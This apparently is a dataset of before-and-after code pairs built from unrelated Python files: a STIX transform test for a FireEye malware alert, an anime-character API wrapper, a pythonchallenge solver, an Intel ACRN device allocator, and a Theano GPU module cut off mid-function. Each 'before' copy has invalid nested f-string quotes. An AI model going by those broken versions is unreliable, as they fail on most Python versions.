nt_obj = TestTransform.get_first_of_type(objects.values(), 'network-traffic')
assert(nt_obj is not None), 'network-traffic object type not found'
assert(nt_obj.keys() == {'type', 'src_ref', 'src_port', 'dst_ref', 'dst_port', 'protocols'})
assert(nt_obj['src_port'] == 1220)
assert(nt_obj['dst_port'] == 1120)
assert(nt_obj['protocols'] == ['tcp'])
ip_ref = nt_obj['dst_ref']
assert(ip_ref in objects), "dst_ref with key {nt_obj['dst_ref']} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value', 'resolves_to_refs'})
assert(ip_obj['type'] == 'ipv4-addr')
assert(ip_obj['value'] == '127.0.0.1')
assert (isinstance(ip_obj['resolves_to_refs'], list) and isinstance(ip_obj['resolves_to_refs'][0], str))
ip_ref = nt_obj['src_ref']
assert(ip_ref in objects), "src_ref with key {nt_obj['src_ref']} not found"
ip_obj = objects[ip_ref]
assert(ip_obj.keys() == {'type', 'value', 'resolves_to_refs'})
assert(ip_obj['type'] == 'ipv4-addr')
assert(ip_obj['value'] == '169.250.0.1')
assert (isinstance(ip_obj['resolves_to_refs'], list) and isinstance(ip_obj['resolves_to_refs'][0], str))
file_obj = TestTransform.get_first_of_type(objects.values(), 'file')
assert (file_obj is not None), 'file object type not found'
assert (file_obj.keys() == {'type', 'hashes'})
assert (file_obj['hashes']['SHA-1'] == "cf23df2207d99a74fbe169e3eba035e633b65d94")
user_obj = TestTransform.get_first_of_type(objects.values(), 'user-account')
assert (user_obj is not None), 'user object type not found'
assert (user_obj.keys() == {'type', 'account_login', 'user_id'})
assert (user_obj['account_login'] == "sname")
assert (user_obj['user_id'] == "sname")
url_obj = TestTransform.get_first_of_type(objects.values(), 'url')
assert (url_obj is not None), 'url object type not found'
assert (url_obj.keys() == {'type', 'value'})
assert (url_obj['value'] == "https://wally.fireeye.com/malware_analysis/analyses?maid=1")
domain_obj = TestTransform.get_first_of_type(objects.values(), 'domain-name')
assert (domain_obj is not None), 'domain object type not found'
assert (domain_obj.keys() == {'type', 'value'})
assert (domain_obj['value'] == "wally.fireeye.com")
payload_obj = TestTransform.get_first_of_type(objects.values(), 'artifact')
assert (payload_obj is not None), 'payload object type not found'
assert (payload_obj.keys() == {'type', 'payload_bin', 'mime_type'})
payload = 'SmFuIDA4IDIwMTkgMTU6MTg6MDQgMTkyLjE2OC4zMy4xMzEgZmVub3RpZnktMi5hbGVydDogQ0VGOjB8RmlyZUV5ZXxNQV' \
'N8Ni4yLjAuNzQyOTh8TU98bWFsd2FyZS1vYmplY3R8NHxydD1KYW4gMDggMjAxOSAxNToxODowNCBaIHNyYz0xNjkuMjUw' \
'LjAuMSBkcHQ9MTEyMCBkc3Q9MTI3LjAuMC4xIHNwdD0xMjIwIHNtYWM9QUE6QkI6Q0M6REQ6MTE6MjIgZG1hYz1FRTpERD' \
'pCQjpBQTpDQzoxMSBjbjJMYWJlbD1zaWQgY24yPTExMSBmaWxlSGFzaD00MWEyNjI1NWQxNmQxMjFkYzUyNWE2NDQ1MTQ0' \
'Yjg5NSBwcm90bz10Y3AgcmVxdWVzdD1odHRwOi8vcWEtc2VydmVyLmVuZy5maXJlZXllLmNvbS9RRS9Ob3RpZmljYXRpb2' \
'5QY2Fwcy81OC4yNTMuNjguMjlfODAtMTkyLjE2OC44NS4xMjhfMTE2NS0yMTE5MjgzMTA5X1QuZXhlIGNzM0xhYmVsPW9z' \
'aW5mbyBjczM9TWljcm9zb2Z0IFdpbmRvd3M3IFByb2Zlc3Npb25hbCA2LjEgc3AxIGR2Y2hvc3Q9d2FsbHkgZHZjPTEwLj' \
'IuMTAxLjEwMSBjbjFMYWJlbD12bGFuIGNuMT0wIGV4dGVybmFsSWQ9MSBjczRMYWJlbD1saW5rIGNzND1odHRwczovL3dh' \
'bGx5LmZpcmVleWUuY29tL21hbHdhcmVfYW5hbHlzaXMvYW5hbHlzZXM/bWFpZD0xIGNzMkxhYmVsPWFub21hbHkgY3MyPW' \
'1pc2MtYW5vbWFseSBjczFMYWJlbD1zbmFtZSBjczE9RkVfVVBYO1Ryb2phbi5QV1MuT25saW5lR2FtZXM='
assert (payload_obj['payload_bin'] == payload)
assert (payload_obj['mime_type'] == 'text/plain')
|
import requests
from googlesearch import search
from bs4 import BeautifulSoup
from .error_handling import SearchNotWork, NoResultFound
class Charapedia:
def __init__(self, char: str):
try:
mal_char_id = search('site:myanimelist.net {} character info inurl:/character/'.format(char), num_results=0)
except SearchNotWork:
raise SearchNotWork('Search Library Not Work')
try:
mal_char_id = ''.join(mal_char_id).split('/')[4]
except:
raise NoResultFound('Character Not Found')
self.mal_char_id = mal_char_id
base_api = 'https://api.jikan.moe/v3/character/{}/'.format(self.mal_char_id)
r = requests.get(base_api)
result = r.json()
self.result = result
#Caharcter Name
try:
name = result['name']
name = f'{name} ({result['name_kanji']})'
except KeyError:
raise NoResultFound(f'{char} is not Anime characters or u typo')
self.name = name or None
#url name
url = result['url']
self.url = url
#image url
image_url = result['image_url']
self.image_url = image_url
#about
about = result['about']
if 'No biography written.' in about:
self.age = about
about = ''.join(about)
self.about = about
self.anu = self.about.split('\n')
#age
try:
age = self.anu[0].split('Age: ')[1]
except:
age = 'Age biography not written.'
self.age = age
#birthday
try:
try:
birthday = self.anu[1].split('Birthday: ')[1]
except:
birthday = self.anu[0].split('Birthday: ')[1]
except:
birthday = 'Birthday biography not written'
self.birthday = birthday
#height
try:
try:
height = self.anu[1].split('Height: ')[1]
except:
try:
height = self.anu[2].split('Height: ')[1]
except:
height = self.anu[3].split('Height:')[1]
except:
height = 'Height biography not written'
self.height = height
#weight
try:
try:
weight = self.anu[1].split('Weight: ')[1]
except:
try:
weight = self.anu[2].split('Weight: ')[1]
except:
weight = self.anu[3].split('Weight:')[1]
except:
weight = 'weight biography not written'
self.weight = weight
#nickname
nickname = result['nicknames']
nickname = ', '.join(nickname)
if ',' not in nickname:
nickname = 'None'
self.nickname = nickname
#anime reference
@property
def anime(self) -> list:
anime = []
for nama in self.result['animeography']:
anime.append(nama['name'])
anime = ', '.join(anime)
return anime or None
#manga reference
@property
def manga(self) -> list:
manga = []
for nama in self.result['mangaography']:
manga.append(nama['name'])
manga = ', '.join(manga)
return manga or None | import requests
from googlesearch import search
from bs4 import BeautifulSoup
from .error_handling import SearchNotWork, NoResultFound
class Charapedia:
def __init__(self, char: str):
try:
mal_char_id = search('site:myanimelist.net {} character info inurl:/character/'.format(char), num_results=0)
except SearchNotWork:
raise SearchNotWork('Search Library Not Work')
try:
mal_char_id = ''.join(mal_char_id).split('/')[4]
except:
raise NoResultFound('Character Not Found')
self.mal_char_id = mal_char_id
base_api = 'https://api.jikan.moe/v3/character/{}/'.format(self.mal_char_id)
r = requests.get(base_api)
result = r.json()
self.result = result
#Caharcter Name
try:
name = result['name']
name = f'{name} ({result["name_kanji"]})'
except KeyError:
raise NoResultFound(f'{char} is not Anime characters or u typo')
self.name = name or None
#url name
url = result['url']
self.url = url
#image url
image_url = result['image_url']
self.image_url = image_url
#about
about = result['about']
if 'No biography written.' in about:
self.age = about
about = ''.join(about)
self.about = about
self.anu = self.about.split('\n')
#age
try:
age = self.anu[0].split('Age: ')[1]
except:
age = 'Age biography not written.'
self.age = age
#birthday
try:
try:
birthday = self.anu[1].split('Birthday: ')[1]
except:
birthday = self.anu[0].split('Birthday: ')[1]
except:
birthday = 'Birthday biography not written'
self.birthday = birthday
#height
try:
try:
height = self.anu[1].split('Height: ')[1]
except:
try:
height = self.anu[2].split('Height: ')[1]
except:
height = self.anu[3].split('Height:')[1]
except:
height = 'Height biography not written'
self.height = height
#weight
try:
try:
weight = self.anu[1].split('Weight: ')[1]
except:
try:
weight = self.anu[2].split('Weight: ')[1]
except:
weight = self.anu[3].split('Weight:')[1]
except:
weight = 'weight biography not written'
self.weight = weight
#nickname
nickname = result['nicknames']
nickname = ', '.join(nickname)
if ',' not in nickname:
nickname = 'None'
self.nickname = nickname
#anime reference
@property
def anime(self) -> list:
anime = []
for nama in self.result['animeography']:
anime.append(nama['name'])
anime = ', '.join(anime)
return anime or None
#manga reference
@property
def manga(self) -> list:
manga = []
for nama in self.result['mangaography']:
manga.append(nama['name'])
manga = ', '.join(manga)
return manga or None |
#!/usr/bin/python3
# http://www.pythonchallenge.com/pc/def/channel.html
import signal
from zipfile import ZipFile
from handlers.python import exit_signal_handler
# noinspection PyShadowingNames
def get_next_file(i, zf, file_name, result):
is_last = True
try:
file_words = zf.read(file_name).split()
info = zf.getinfo(file_name).comment
result = f"{result}{info.decode("utf-8")}"
for word in file_words:
if word.isdigit():
is_last = False
next_file = f"{word.decode("utf-8")}.txt"
get_next_file(i + 1, zf, next_file, result)
if is_last:
print(result)
except Exception as e:
raise e
if __name__ == '__main__':
signal.signal(signal.SIGINT, exit_signal_handler)
result = ""
# Download the zip file from http://www.pythonchallenge.com/pc/def/channel.zip
try:
with ZipFile('channel.zip') as zf:
get_next_file(0, zf, 'readme.txt', result)
except Exception as e:
print(e)
| #!/usr/bin/python3
# http://www.pythonchallenge.com/pc/def/channel.html
import signal
from zipfile import ZipFile
from handlers.python import exit_signal_handler
# noinspection PyShadowingNames
def get_next_file(i, zf, file_name, result):
is_last = True
try:
file_words = zf.read(file_name).split()
info = zf.getinfo(file_name).comment
result = f"{result}{info.decode('utf-8')}"
for word in file_words:
if word.isdigit():
is_last = False
next_file = f"{word.decode('utf-8')}.txt"
get_next_file(i + 1, zf, next_file, result)
if is_last:
print(result)
except Exception as e:
raise e
if __name__ == '__main__':
signal.signal(signal.SIGINT, exit_signal_handler)
result = ""
# Download the zip file from http://www.pythonchallenge.com/pc/def/channel.zip
try:
with ZipFile('channel.zip') as zf:
get_next_file(0, zf, 'readme.txt', result)
except Exception as e:
print(e)
|
#!/usr/bin/env python3
#
# Copyright (C) 2021 Intel Corporation.
#
# SPDX-License-Identifier: BSD-3-Clause
#
import sys, os, re
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'library'))
import common, lib.error, lib.lib
# Constants for device name prefix
IVSHMEM = "IVSHMEM"
VUART = "VUART"
# Exception bdf list
# Some hardware drivers' bdf is hardcoded, the bdf cannot be changed even it is passtrhough devices.
HARDCODED_BDF_LIST = ["00:0e.0"]
def find_unused_bdf(used_bdf):
# never assign 0:00.0 to any emulated devices, it's reserved for pci hostbridge
for dev in range(0x1, 0x20):
bdf = lib.lib.BusDevFunc(bus=0x00, dev=dev, func=0x0)
if all((bdf.dev != in_use_bdf.dev for in_use_bdf in used_bdf)):
return bdf
raise lib.error.ResourceError(f"Cannot find free bdf, used bdf: {sorted(used_bdf)}")
def insert_vuart_to_dev_dict(scenario_etree, devdict, used):
console_vuart = scenario_etree.xpath(f"./console_vuart[base != 'INVALID_PCI_BASE']/@id")
communication_vuarts = scenario_etree.xpath(f".//communication_vuart[base != 'INVALID_PCI_BASE']/@id")
for vuart_id in console_vuart:
free_bdf = find_unused_bdf(used)
devdict[f"{VUART}_{vuart_id}"] = free_bdf
used.append(free_bdf)
for vuart_id in communication_vuarts:
free_bdf = find_unused_bdf(used)
devdict[f"{VUART}_{vuart_id}"] = free_bdf
used.append(free_bdf)
def insert_ivsheme_to_dev_dict(scenario_etree, devdict, vm_id, used):
shmem_regions = lib.lib.get_ivshmem_regions_by_tree(scenario_etree)
if vm_id not in shmem_regions:
return
shmems = shmem_regions.get(vm_id)
for shm in shmems.values():
bdf = lib.lib.BusDevFunc.from_str(shm.get('vbdf'))
devdict[f"{IVSHMEM}_{shm.get("id")}"] = bdf
used.append(bdf)
def insert_pt_devs_to_dev_dict(vm_node_etree, devdict, used):
"""
Assign an unused bdf to each of passtrhough devices.
If a passtrhough device's bdf is in the list of HARDCODED_BDF_LIST, this device should apply the same bdf as native one.
Calls find_unused_bdf to assign an unused bdf for the rest of passtrhough devices except the ones in HARDCODED_BDF_LIST.
"""
pt_devs = vm_node_etree.xpath(f".//pci_dev/text()")
# assign the bdf of the devices in HARDCODED_BDF_LIST
for pt_dev in pt_devs:
bdf_string = pt_dev.split()[0]
if bdf_string in HARDCODED_BDF_LIST:
bdf = lib.lib.BusDevFunc.from_str(bdf_string)
dev_name = str(bdf)
devdict[dev_name] = bdf
used.append(bdf)
# remove the pt_dev nodes which are in HARDCODED_BDF_LIST
pt_devs = [pt_dev for pt_dev in pt_devs if lib.lib.BusDevFunc.from_str(bdf_string) not in used]
# call find_unused_bdf to assign an unused bdf for other passthrough devices except the ones in HARDCODED_BDF_LIST
for pt_dev in pt_devs:
bdf = lib.lib.BusDevFunc.from_str(pt_dev.split()[0])
free_bdf = find_unused_bdf(used)
dev_name = str(bdf)
devdict[dev_name] = free_bdf
used.append(free_bdf)
def get_devs_bdf_native(board_etree):
"""
Get all pci devices' bdf in native environment.
return: list of pci devices' bdf
"""
nodes = board_etree.xpath(f"//bus[@type = 'pci' and @address = '0x0']/device[@address]")
dev_list = []
for node in nodes:
address = node.get('address')
bus = int(common.get_node("../@address", node), 16)
dev = int(address, 16) >> 16
func = int(address, 16) & 0xffff
dev_list.append(lib.lib.BusDevFunc(bus = bus, dev = dev, func = func))
return dev_list
def get_devs_bdf_passthrough(scenario_etree):
"""
Get all pre-launched vms' passthrough devices' bdf in native environment.
return: list of passtrhough devices' bdf.
"""
dev_list = []
pt_devs = scenario_etree.xpath(f"//vm[load_order = 'PRE_LAUNCHED_VM']/pci_devs/pci_dev/text()")
for pt_dev in pt_devs:
bdf = lib.lib.BusDevFunc.from_str(pt_dev.split()[0])
dev_list.append(bdf)
return dev_list
def create_device_node(allocation_etree, vm_id, devdict):
for dev in devdict:
dev_name = dev
bdf = devdict.get(dev)
vm_node = common.get_node(f"/acrn-config/vm[@id = '{vm_id}']", allocation_etree)
if vm_node is None:
vm_node = common.append_node("/acrn-config/vm", None, allocation_etree, id = vm_id)
dev_node = common.get_node(f"./device[@name = '{dev_name}']", vm_node)
if dev_node is None:
dev_node = common.append_node("./device", None, vm_node, name = dev_name)
if common.get_node(f"./bus", dev_node) is None:
common.append_node(f"./bus", f"{bdf.bus:#04x}", dev_node)
if common.get_node(f"./dev", dev_node) is None:
common.append_node(f"./dev", f"{bdf.dev:#04x}", dev_node)
if common.get_node(f"./func", dev_node) is None:
common.append_node(f"./func", f"{bdf.func:#04x}", dev_node)
def create_igd_sbdf(board_etree, allocation_etree):
"""
Extract the integrated GPU bdf from board.xml. If the device is not present, set bdf to "0xFFFF" which indicates the device
doesn't exist.
"""
bus = "0x0"
device_node = common.get_node(f"//bus[@type='pci' and @address='{bus}']/device[vendor='0x8086' and class='0x030000']", board_etree)
if device_node is None:
common.append_node("/acrn-config/hv/MISC_CFG/IGD_SBDF", '0xFFFF', allocation_etree)
else:
address = device_node.get('address')
dev = int(address, 16) >> 16
func = int(address, 16) & 0xffff
common.append_node("/acrn-config/hv/MISC_CFG/IGD_SBDF", f"{(int(bus, 16) << 8) | (dev << 3) | func:#06x}", allocation_etree)
def fn(board_etree, scenario_etree, allocation_etree):
create_igd_sbdf(board_etree, allocation_etree)
vm_nodes = scenario_etree.xpath("//vm")
for vm_node in vm_nodes:
vm_id = vm_node.get('id')
devdict = {}
used = []
load_order = common.get_node("./load_order/text()", vm_node)
if load_order is not None and lib.lib.is_post_launched_vm(load_order):
continue
if load_order is not None and lib.lib.is_service_vm(load_order):
native_used = get_devs_bdf_native(board_etree)
passthrough_used = get_devs_bdf_passthrough(scenario_etree)
used = [bdf for bdf in native_used if bdf not in passthrough_used]
if common.get_node("//@board", scenario_etree) == "tgl-rvp":
used.append(lib.lib.BusDevFunc(bus = 0, dev = 1, func = 0))
insert_vuart_to_dev_dict(vm_node, devdict, used)
insert_ivsheme_to_dev_dict(scenario_etree, devdict, vm_id, used)
insert_pt_devs_to_dev_dict(vm_node, devdict, used)
create_device_node(allocation_etree, vm_id, devdict)
| #!/usr/bin/env python3
#
# Copyright (C) 2021 Intel Corporation.
#
# SPDX-License-Identifier: BSD-3-Clause
#
import sys, os, re
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', 'library'))
import common, lib.error, lib.lib
# Constants for device name prefix
IVSHMEM = "IVSHMEM"
VUART = "VUART"
# Exception bdf list
# Some hardware drivers' bdf is hardcoded, the bdf cannot be changed even it is passtrhough devices.
HARDCODED_BDF_LIST = ["00:0e.0"]
def find_unused_bdf(used_bdf):
# never assign 0:00.0 to any emulated devices, it's reserved for pci hostbridge
for dev in range(0x1, 0x20):
bdf = lib.lib.BusDevFunc(bus=0x00, dev=dev, func=0x0)
if all((bdf.dev != in_use_bdf.dev for in_use_bdf in used_bdf)):
return bdf
raise lib.error.ResourceError(f"Cannot find free bdf, used bdf: {sorted(used_bdf)}")
def insert_vuart_to_dev_dict(scenario_etree, devdict, used):
console_vuart = scenario_etree.xpath(f"./console_vuart[base != 'INVALID_PCI_BASE']/@id")
communication_vuarts = scenario_etree.xpath(f".//communication_vuart[base != 'INVALID_PCI_BASE']/@id")
for vuart_id in console_vuart:
free_bdf = find_unused_bdf(used)
devdict[f"{VUART}_{vuart_id}"] = free_bdf
used.append(free_bdf)
for vuart_id in communication_vuarts:
free_bdf = find_unused_bdf(used)
devdict[f"{VUART}_{vuart_id}"] = free_bdf
used.append(free_bdf)
def insert_ivsheme_to_dev_dict(scenario_etree, devdict, vm_id, used):
shmem_regions = lib.lib.get_ivshmem_regions_by_tree(scenario_etree)
if vm_id not in shmem_regions:
return
shmems = shmem_regions.get(vm_id)
for shm in shmems.values():
bdf = lib.lib.BusDevFunc.from_str(shm.get('vbdf'))
devdict[f"{IVSHMEM}_{shm.get('id')}"] = bdf
used.append(bdf)
def insert_pt_devs_to_dev_dict(vm_node_etree, devdict, used):
"""
Assign an unused bdf to each of passtrhough devices.
If a passtrhough device's bdf is in the list of HARDCODED_BDF_LIST, this device should apply the same bdf as native one.
Calls find_unused_bdf to assign an unused bdf for the rest of passtrhough devices except the ones in HARDCODED_BDF_LIST.
"""
pt_devs = vm_node_etree.xpath(f".//pci_dev/text()")
# assign the bdf of the devices in HARDCODED_BDF_LIST
for pt_dev in pt_devs:
bdf_string = pt_dev.split()[0]
if bdf_string in HARDCODED_BDF_LIST:
bdf = lib.lib.BusDevFunc.from_str(bdf_string)
dev_name = str(bdf)
devdict[dev_name] = bdf
used.append(bdf)
# remove the pt_dev nodes which are in HARDCODED_BDF_LIST
pt_devs = [pt_dev for pt_dev in pt_devs if lib.lib.BusDevFunc.from_str(bdf_string) not in used]
# call find_unused_bdf to assign an unused bdf for other passthrough devices except the ones in HARDCODED_BDF_LIST
for pt_dev in pt_devs:
bdf = lib.lib.BusDevFunc.from_str(pt_dev.split()[0])
free_bdf = find_unused_bdf(used)
dev_name = str(bdf)
devdict[dev_name] = free_bdf
used.append(free_bdf)
def get_devs_bdf_native(board_etree):
"""
Get all pci devices' bdf in native environment.
return: list of pci devices' bdf
"""
nodes = board_etree.xpath(f"//bus[@type = 'pci' and @address = '0x0']/device[@address]")
dev_list = []
for node in nodes:
address = node.get('address')
bus = int(common.get_node("../@address", node), 16)
dev = int(address, 16) >> 16
func = int(address, 16) & 0xffff
dev_list.append(lib.lib.BusDevFunc(bus = bus, dev = dev, func = func))
return dev_list
def get_devs_bdf_passthrough(scenario_etree):
"""
Get all pre-launched vms' passthrough devices' bdf in native environment.
return: list of passtrhough devices' bdf.
"""
dev_list = []
pt_devs = scenario_etree.xpath(f"//vm[load_order = 'PRE_LAUNCHED_VM']/pci_devs/pci_dev/text()")
for pt_dev in pt_devs:
bdf = lib.lib.BusDevFunc.from_str(pt_dev.split()[0])
dev_list.append(bdf)
return dev_list
def create_device_node(allocation_etree, vm_id, devdict):
for dev in devdict:
dev_name = dev
bdf = devdict.get(dev)
vm_node = common.get_node(f"/acrn-config/vm[@id = '{vm_id}']", allocation_etree)
if vm_node is None:
vm_node = common.append_node("/acrn-config/vm", None, allocation_etree, id = vm_id)
dev_node = common.get_node(f"./device[@name = '{dev_name}']", vm_node)
if dev_node is None:
dev_node = common.append_node("./device", None, vm_node, name = dev_name)
if common.get_node(f"./bus", dev_node) is None:
common.append_node(f"./bus", f"{bdf.bus:#04x}", dev_node)
if common.get_node(f"./dev", dev_node) is None:
common.append_node(f"./dev", f"{bdf.dev:#04x}", dev_node)
if common.get_node(f"./func", dev_node) is None:
common.append_node(f"./func", f"{bdf.func:#04x}", dev_node)
def create_igd_sbdf(board_etree, allocation_etree):
"""
Extract the integrated GPU bdf from board.xml. If the device is not present, set bdf to "0xFFFF" which indicates the device
doesn't exist.
"""
bus = "0x0"
device_node = common.get_node(f"//bus[@type='pci' and @address='{bus}']/device[vendor='0x8086' and class='0x030000']", board_etree)
if device_node is None:
common.append_node("/acrn-config/hv/MISC_CFG/IGD_SBDF", '0xFFFF', allocation_etree)
else:
address = device_node.get('address')
dev = int(address, 16) >> 16
func = int(address, 16) & 0xffff
common.append_node("/acrn-config/hv/MISC_CFG/IGD_SBDF", f"{(int(bus, 16) << 8) | (dev << 3) | func:#06x}", allocation_etree)
def fn(board_etree, scenario_etree, allocation_etree):
create_igd_sbdf(board_etree, allocation_etree)
vm_nodes = scenario_etree.xpath("//vm")
for vm_node in vm_nodes:
vm_id = vm_node.get('id')
devdict = {}
used = []
load_order = common.get_node("./load_order/text()", vm_node)
if load_order is not None and lib.lib.is_post_launched_vm(load_order):
continue
if load_order is not None and lib.lib.is_service_vm(load_order):
native_used = get_devs_bdf_native(board_etree)
passthrough_used = get_devs_bdf_passthrough(scenario_etree)
used = [bdf for bdf in native_used if bdf not in passthrough_used]
if common.get_node("//@board", scenario_etree) == "tgl-rvp":
used.append(lib.lib.BusDevFunc(bus = 0, dev = 1, func = 0))
insert_vuart_to_dev_dict(vm_node, devdict, used)
insert_ivsheme_to_dev_dict(scenario_etree, devdict, vm_id, used)
insert_pt_devs_to_dev_dict(vm_node, devdict, used)
create_device_node(allocation_etree, vm_id, devdict)
|
import copy
from io import StringIO
import numpy as np
from theano import scalar
from theano.gof.graph import Apply
from theano.gof.op import Op
from theano.gof.utils import MethodNotDefined
from theano.link.c.interface import HideC
from theano.scalar import Composite, Scalar
from theano.scalar.basic import complex_types, upgrade_to_float_no_complex
from theano.scalar.basic_scipy import Erfcinv, Erfinv
from theano.tensor.elemwise import CAReduceDtype, DimShuffle, Elemwise
try:
import pygpu
from pygpu import gpuarray
from pygpu.gpuarray import dtype_to_typecode
from pygpu.reduction import ReductionKernel
from pygpu.tools import ArrayArg
except ImportError:
pass
from .basic_ops import GpuKernelBase, Kernel, as_gpuarray_variable, infer_context_name
from .fp16_help import load_w, write_w
from .type import GpuArrayType, gpu_context_type
def make_argument(v, name):
return ArrayArg(np.dtype(v.type.dtype), name)
def as_C_string_const(s):
return "\n".join('"%s\\n"' % (l.replace('"', '\\"')) for l in s.split("\n"))
def get_scal(dt):
if dt == "float16":
dt = "float32"
return scalar.get_scalar_type(dt)
def max_inputs_to_GpuElemwise(node_or_outputs):
"""
Compute the maximum number of inputs that fit in a kernel call.
"""
if isinstance(node_or_outputs, Apply):
outputs = node_or_outputs.outputs
else:
outputs = node_or_outputs
n_out = len(outputs)
ndim = outputs[0].type.ndim
ptr_size = 8
# Even with call32, the interface does not change, and shapes,
# strides, and offset are passed as 64-bits (8 bytes)
int_size = 8
# we take the limit from CUDA for now
nb_bytes_total = 4096
# Regardless of the number of arguments, we have:
# - The total number of elements (int)
# - The shape (int) on each dimension
fixed_size = int_size + int_size * ndim
# Each argument (input or output) has:
# - 1 pointer (ptr)
# - 1 offset (int)
# - 1 stride (int) per dimension
# Even if the tensor ends up being contiguous, code for the
# non-contiguous case still needs to be generated.
param_size = ptr_size + int_size + int_size * ndim
# Remaining for inputs
nb_bytes_for_inputs = nb_bytes_total - fixed_size - param_size * n_out
# Maximum number of inputs
max_nb_inputs = nb_bytes_for_inputs // param_size
return max_nb_inputs
class GpuElemwise(HideC, Elemwise):
"""
Elemwise on the GPU.
"""
params_type = gpu_context_type
nin = property(lambda self: self.scalar_op.nin)
nout = property(lambda self: self.scalar_op.nout)
_f16_ok = True
def __str__(self):
if self.name is not None:
return self.name
items = str(sorted(self.inplace_pattern.items()))
return f"GpuElemwise{{{self.scalar_op}}}{items}<gpuarray>"
def max_inputs(self, node_or_outputs):
return max_inputs_to_GpuElemwise(node_or_outputs)
def make_node(self, *inputs):
ctx_name = infer_context_name(*inputs)
inputs = [as_gpuarray_variable(i, ctx_name) for i in inputs]
out_info = Elemwise.get_output_info(self, GpuDimShuffle, *inputs)
inputs = out_info[2]
outputs = [
GpuArrayType(broadcastable=br, context_name=ctx_name, dtype=dtype)()
for dtype, br in zip(out_info[0], out_info[1])
]
if len(outputs) > 1:
raise NotImplementedError()
if len(inputs) > max_inputs_to_GpuElemwise(outputs):
raise NotImplementedError(
"Can not make this GpuElemwise with that much inputs"
)
# Try to generate the kernel to catch SupportCodeErrors
scal_ins = [get_scal(i.dtype) for i in inputs]
fake_node = self.scalar_op.make_node(*[i() for i in scal_ins])
try:
code = fake_node.op.c_support_code_apply(fake_node, "test")
if code:
raise SupportCodeError(code)
except MethodNotDefined:
pass
try:
support_code = fake_node.op.c_support_code()
if "struct" in support_code:
# The macro is fine, the C++ struct is not.
raise SupportCodeError(
"struct aren't supported in GpuElemwise support_code" + support_code
)
except MethodNotDefined:
pass
node = Apply(self, inputs, outputs)
return node
def get_params(self, node):
return node.inputs[0].type.context
def _get_vnames(self, node):
inps = [f"i{n}" for n, _ in enumerate(node.inputs)]
outs = [
f"o{n}" if n not in self.inplace_pattern else inps[self.inplace_pattern[n]]
for n, _ in enumerate(node.outputs)
]
return inps, outs
def _generate_op_string(self, node):
inps, outs = self._get_vnames(node)
scal_v_ins = [get_scal(i.dtype)() for i in node.inputs]
# As float16 isn't a c type and most GPU don't compute on it,
# We convert the computation to float32, and let libgpuarray
# load in float16 and cast to float32 and do the reverse for
# the output.
scalar_op = self.scalar_op
if isinstance(scalar_op, (scalar.Cast, Composite)):
scalar_op = scalar_op.clone_float32()
fake_node = scalar_op.make_node(*scal_v_ins)
scal_v_out = fake_node.outputs
assert len(scal_v_out) == len(node.outputs)
try:
kop = fake_node.op.c_code(
fake_node, "elem_scalar", inps, outs, dict(fail="return;")
)
except MethodNotDefined:
raise AssertionError(
"No c code for this scalar. Can not make a GpuElemwise"
)
# If the following assert fail, then we need to update the
# code handler above.
assert "npy_float16" not in kop
support_code = ""
try:
# We accept only some c_support_code().
# This filter is done in the make_node()
support_code += fake_node.op.c_support_code()
except MethodNotDefined:
pass
for npy, ga in [
("npy_bool", "ga_bool"),
("npy_uint8", "ga_ubyte"),
("npy_uint16", "ga_ushort"),
("npy_uint32", "ga_uint"),
("npy_uint64", "ga_ulong"),
("npy_int8", "ga_byte"),
("npy_int16", "ga_short"),
("npy_int32", "ga_int"),
("npy_int64", "ga_long"),
("npy_float16", "ga_half"),
("npy_float32", "ga_float"),
("npy_float64", "ga_double"),
]:
kop = kop.replace(npy, ga)
return support_code, kop
def c_headers(self):
return ["<numpy_compat.h>", "<gpuarray/types.h>", "<gpuarray/elemwise.h>"]
def c_support_code_struct(self, node, name):
return "\nGpuElemwise *ge;\n"
def c_init_code_struct(self, node, name, sub):
inps, outs = self._get_vnames(node)
nargs = len(inps) + len(outs) - len(self.inplace_pattern)
support_code, kop = self._generate_op_string(node)
res = """
gpuelemwise_arg args[%(nargs)s] = {{0}};
""" % dict(
nargs=nargs
)
for n, (i, name) in enumerate(zip(node.inputs, inps)):
res += """
args[%(n)s].name = %(name)s;
args[%(n)s].typecode = %(typecode)s;
args[%(n)s].flags = GE_READ;
""" % dict(
n=n, name='"{}"'.format(name), typecode=i.type.typecode
)
p = len(inps)
for n, o in enumerate(node.outputs):
if n in self.inplace_pattern:
assert len(node.outputs) == 1
res += "\nargs[%(n)s].flags |= GE_WRITE;\n" % dict(
n=self.inplace_pattern[n]
)
else:
res += """
args[%(n)s].name = %(name)s;
args[%(n)s].typecode = %(typecode)s;
args[%(n)s].flags = GE_WRITE;
""" % dict(
n=p, name='"{}"'.format(outs[n]), typecode=o.type.typecode
)
p += 1
res += """
ge = GpuElemwise_new(%(ctx)s->ctx, %(support)s, %(kop)s, %(nargs)s, args, %(nd)s, GE_CONVERT_F16);
if (ge == NULL) {
PyErr_SetString(PyExc_RuntimeError, "Could not initialize elemwise support");
%(fail)s
}
""" % dict(
nargs=nargs,
ctx=sub["params"],
fail=sub["fail"],
support=as_C_string_const(support_code),
kop=as_C_string_const(kop),
nd=node.inputs[0].ndim,
)
return res
def c_cleanup_code_struct(self, node, name):
return """
GpuElemwise_free(ge);
"""
def c_code(self, node, name, inputs, outputs, sub):
nd = node.outputs[0].ndim
fail = sub["fail"]
initial_dims = ",".join("1" for i in range(nd))
opname = str(self.scalar_op)
ctx = sub["params"]
nargs = len(node.inputs) + len(node.outputs) - len(self.inplace_pattern)
# check that all inputs have valid dimensions
emitted_inames = {}
code = (
"""
// +1 is so that MSVC is happy when nd == 0
size_t dims[%(nd)s+1] = {%(initial_dims)s};
void *rargs[%(nargs)s] = {0};
int err;
"""
% locals()
)
for idx, iname in enumerate(inputs):
if iname in emitted_inames:
assert emitted_inames[iname] is node.inputs[idx]
continue
broadcasts = map(int, node.inputs[idx].broadcastable)
broadcasts = ", ".join(map(str, broadcasts))
nd = node.inputs[idx].ndim
code += (
"""
int broadcasts_%(iname)s[%(nd)s+1] = {%(broadcasts)s};
"""
% locals()
)
emitted_inames[iname] = node.inputs[idx]
# check that all inputs have valid dimensions
emitted_inames = {}
for idx, iname in enumerate(inputs):
code += f"rargs[{idx}] = &{iname}->ga;\n"
if iname in emitted_inames:
continue
code += (
"""
if (%(nd)s != PyGpuArray_NDIM(%(iname)s))
{
PyErr_Format(PyExc_TypeError,
"need %(nd)s dims, not %%u",
